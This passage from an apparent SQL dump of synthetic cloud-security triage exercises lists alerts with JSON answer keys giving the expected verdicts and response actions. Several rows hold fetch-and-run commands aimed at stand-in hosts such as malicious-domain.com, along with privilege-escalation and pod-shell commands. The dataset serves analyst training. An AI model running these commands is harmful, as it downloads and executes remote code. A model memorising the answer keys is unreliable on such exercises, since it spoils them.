Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in unauthorized data transfers\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of compromised credentials and a known malicious IP confirms the data exfiltration attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1989, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'Detected unauthorized increase in IAM permissions for a user account.', 'Privilege Escalation', 'T1068', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"user_privilege_change\",\"src_ip\":\"198.51.100.55\",\"dst_ip\":\"10.0.0.5\",\"username\":\"elevated_user\",\"hostname\":\"azure-ad\",\"request_body\":\"RoleAssignment\",\"command_line\":\"az role assignment create --assignee elevated_user --role Contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP known for suspicious login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"elevated_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Account previously not used for administrative tasks\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee elevated_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used in privilege escalation incidents\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unauthorized role assignment indicates a successful privilege escalation attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1990, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'A service account was used to perform activities outside its regular scope, indicating potential hijacking.', 'Credential Access', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:00Z\",\"event_type\":\"service_account_use\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"192.168.2.15\",\"username\":\"service-account-123\",\"hostname\":\"gcp-project\",\"request_body\":\"Accessing restricted resources\",\"command_line\":\"gcloud compute instances list --filter=\'name~\'restricted-instance\'\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous hijacking incidents\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account-123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Service account used outside regular patterns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud compute instances list --filter=\'name~\'restricted-instance\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicative of unauthorized resource access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unauthorized activities performed by the service account indicate hijacking.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1991, 'Prisma Cloud Serverless Function Anomaly', 'high', 'Prisma Cloud', 'Anomalous execution detected in a serverless function. Possible code injection or misuse.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"10.0.1.1\",\"username\":\"lambda_function\",\"hostname\":\"prisma-cloud\",\"request_body\":\"Execution of unauthorized script\",\"command_line\":\"node -e \\\"require(\'child_process\').exec(\'wget http://malicious-site.com/payload\');\\\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for distributing malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"node -e \\\"require(\'child_process\').exec(\'wget http://malicious-site.com/payload\');\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution indicative of code injection\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a script to download a payload confirms a code injection attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1992, 'Wiz Kubernetes Unauthorized Access Attempt', 'medium', 'Wiz', 'Detected an unauthorized access attempt to a Kubernetes cluster. Possible exploitation of misconfigured controls.', 'Lateral Movement', 'T1021', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:25:00Z\",\"event_type\":\"cluster_access\",\"src_ip\":\"198.51.100.88\",\"dst_ip\":\"172.16.0.2\",\"username\":\"k8s_admin\",\"hostname\":\"wiz-k8s-cluster\",\"request_body\":\"kubectl get pods\",\"command_line\":\"kubectl exec --stdin --tty pod_name -- /bin/bash\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in unauthorized Kubernetes access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec --stdin --tty pod_name -- /bin/bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Command used in lateral movement attempts within clusters\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized kubectl command execution suggests an attempt to move laterally within the cluster.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1993, 'AWS GuardDuty: S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Unauthorized access to an S3 bucket was detected from an external IP address. Sensitive data exfiltration is suspected.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:00Z\",\"event_type\":\"s3_access\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.15\",\"username\":\"aws_user123\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data/file.txt HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address of victim machine\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"aws_user123\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account involved in multiple unauthorized access events\"}},{\"id\":\"artifact_4\",\"type\":\"payload\",\"value\":\"GET /sensitive-data/file.txt HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Data exfiltration attempt via unauthorized S3 bucket access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The alert is confirmed as true positive due to unauthorized access and data retrieval from an external IP.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1994, 'Azure Defender: IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'Potential privilege escalation detected where a user attempted to assign higher privileges using a compromised account.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:22:00Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"10.0.0.5\",\"username\":\"compromised_user\",\"hostname\":\"azure.portal.com\",\"request_body\":\"POST /api/assignRole HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in several privilege escalation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address of victim Azure instance\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account flagged for anomalous activity\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Confirmed privilege escalation attempt due to unauthorized role assignment from a known malicious IP.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1995, 'GCP SCC: Service Account Hijacking Detected', 'critical', 'GCP SCC', 'A GCP service account was compromised, leading to unauthorized API calls and potential data theft.', 'Credential Attack', 'T1550', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:30:00Z\",\"event_type\":\"api_call\",\"src_ip\":\"192.0.2.75\",\"dst_ip\":\"10.1.1.10\",\"username\":\"service_account_1\",\"hostname\":\"gcp.googleapis.com\",\"request_body\":\"POST /v1/projects/myproject/apis HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous service account hijacking incidents\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address of affected GCP instance\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"service_account_1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Service account involved in unauthorized API calls\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"True positive due to unauthorized API access from a known malicious IP using a compromised service account.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1996, 'Prisma Cloud: Kubernetes Cluster Compromise', 'high', 'Prisma Cloud', 'Suspicious shell commands executed on a Kubernetes node indicating potential compromise.', 'Lateral Movement', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"172.20.10.5\",\"dst_ip\":\"\",\"username\":\"kube_user\",\"hostname\":\"k8s-node-1\",\"request_body\":\"\",\"command_line\":\"curl -s http://malicious-domain.com/payload.sh | bash\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.20.10.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal Kubernetes node IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl -s http://malicious-domain.com/payload.sh | bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command attempting to download and execute a malicious script\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"True positive due to execution of a known malicious command on a Kubernetes node.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1997, 'Wiz: Unauthorized Serverless Function Execution', 'medium', 'Wiz', 'An unauthorized execution of a serverless function was detected, potentially leading to data exposure.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:00Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"\",\"username\":\"lambda_user\",\"hostname\":\"aws.lambda.com\",\"request_body\":\"\",\"command_line\":\"node handler.js\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized AWS Lambda executions\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"node handler.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Execution of a potentially unauthorized serverless script\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"True positive due to unauthorized execution of a serverless function from a known malicious IP.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1998, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An unauthorized access to an S3 bucket was detected originating from an external IP address. Sensitive data may have been exfiltrated.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T22:34:12Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data.zip HTTP/1.1\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Username used in previous unauthorized access attempts\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /sensitive-data.zip HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Suspicious download attempt from S3 bucket\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP was involved in unauthorized access, matching OSINT findings for malicious activity.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1999, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An internal account attempted to gain higher privileges using a compromised token, indicating possible credential theft.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:46:52Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"jdoe\",\"hostname\":\"azurevm01\",\"command_line\":\"az role assignment create --assignee jdoe --role contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User associated with suspicious privilege escalation attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee jdoe --role contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in unauthorized privilege escalation attempts\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command attempted by the internal user is consistent with privilege escalation behavior.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2000, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'Anomalous activity detected from a service account, indicating possible hijacking with unauthorized API calls.', 'Lateral Movement', 'T1098', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:08:23Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.15\",\"username\":\"svc-account\",\"hostname\":\"gcp-project-1\",\"request_body\":\"POST /v1/projects/service-accounts:signJwt\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"svc-account\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account used in unauthorized actions\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"POST /v1/projects/service-accounts:signJwt\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Unauthorized JWT signing request detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized API call is a clear indication of service account hijacking.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2001, 'Prisma Cloud Kubernetes Pod Compromise', 'high', 'Prisma Cloud', 'Anomalous process execution detected within a Kubernetes pod, indicating possible compromise and lateral movement.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:11:09Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.2.3\",\"dst_ip\":\"10.1.2.4\",\"username\":\"kube-system\",\"hostname\":\"kube-pod-01\",\"command_line\":\"curl http://malicious-site.com/malware.sh | sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://malicious-site.com/malware.sh | sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution indicative of malicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/malware.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious scripts\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command executed within the pod is consistent with compromise attempt patterns.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2002, 'Wiz Serverless Function Abnormal Invocation', 'medium', 'Wiz', 'A serverless function was triggered by an unexpected source IP, suggesting possible unauthorized access.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"172.16.0.2\",\"dst_ip\":\"172.16.0.3\",\"username\":\"lambda-function\",\"hostname\":\"aws-lambda-01\",\"command_line\":\"python3 handler.py invoke\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python3 handler.py invoke\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual invocation of serverless function\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"lambda-function\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Lambda function invoked under suspicious circumstances\"}}],\"expected_actions\":[\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unexpected source of function invocation aligns with unauthorized access patterns.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2003, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Unusual access pattern detected on an S3 bucket. Data exfiltration attempt suspected from an external IP address.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:30Z\",\"event_type\":\"s3_access\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data\",\"command_line\":\"aws s3 cp s3://bucket-name/sensitive-data .\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 134 times for data exfiltration attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account accessed S3 bucket\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"aws s3 cp s3://bucket-name/sensitive-data .\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious command-line execution for data copy\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"External IP involved in data exfiltration from AWS S3 bucket, indicating a true positive data leak.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2004, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'Anomalous activity detected: Unauthorized role assignment to a user account with potentially escalated privileges.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:47:45Z\",\"event_type\":\"role_assignment\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"10.0.0.5\",\"username\":\"malicious_user\",\"hostname\":\"azure.com\",\"request_body\":\"RoleAssignment: Contributor\",\"command_line\":\"az role assignment create --assignee user@example.com --role Contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User account associated with privilege escalation attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee user@example.com --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Potential unauthorized privilege escalation command\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The assignment of elevated roles without authorization is a clear indicator of privilege escalation.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2005, 'GCP Service Account Hijacking', 'critical', 'GCP SCC', 'Suspicious activity detected from a compromised service account, indicating potential hijacking and misuse.', 'Credential Attack', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:23:10Z\",\"event_type\":\"service_account_activity\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"10.1.1.2\",\"username\":\"compromised_service_account\",\"hostname\":\"gcp.google.com\",\"request_body\":\"Accessing cloud storage buckets\",\"command_line\":\"gcloud auth activate-service-account --key-file=compromised-key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to unauthorized service account activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account potentially compromised and misused\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=compromised-key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Execution of service account activation command with compromised credentials\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Service account hijacking attempts confirmed by unauthorized access and command execution.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2006, 'Kubernetes API Access from Unauthorized IP', 'high', 'Prisma Cloud', 'Detected access to Kubernetes API from an IP not whitelisted, potentially indicating a reconnaissance attempt.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:32:20Z\",\"event_type\":\"api_access\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"192.168.10.15\",\"username\":\"kube_admin\",\"hostname\":\"k8s_api_server\",\"request_body\":\"GET /api/v1/namespaces/default/pods\",\"command_line\":\"kubectl get pods --namespace default\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"kube_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Admin user account accessing Kubernetes API\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl get pods --namespace default\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious command potentially used for reconnaissance\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unauthorized IP accessing Kubernetes API suggests potential lateral movement within the network.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
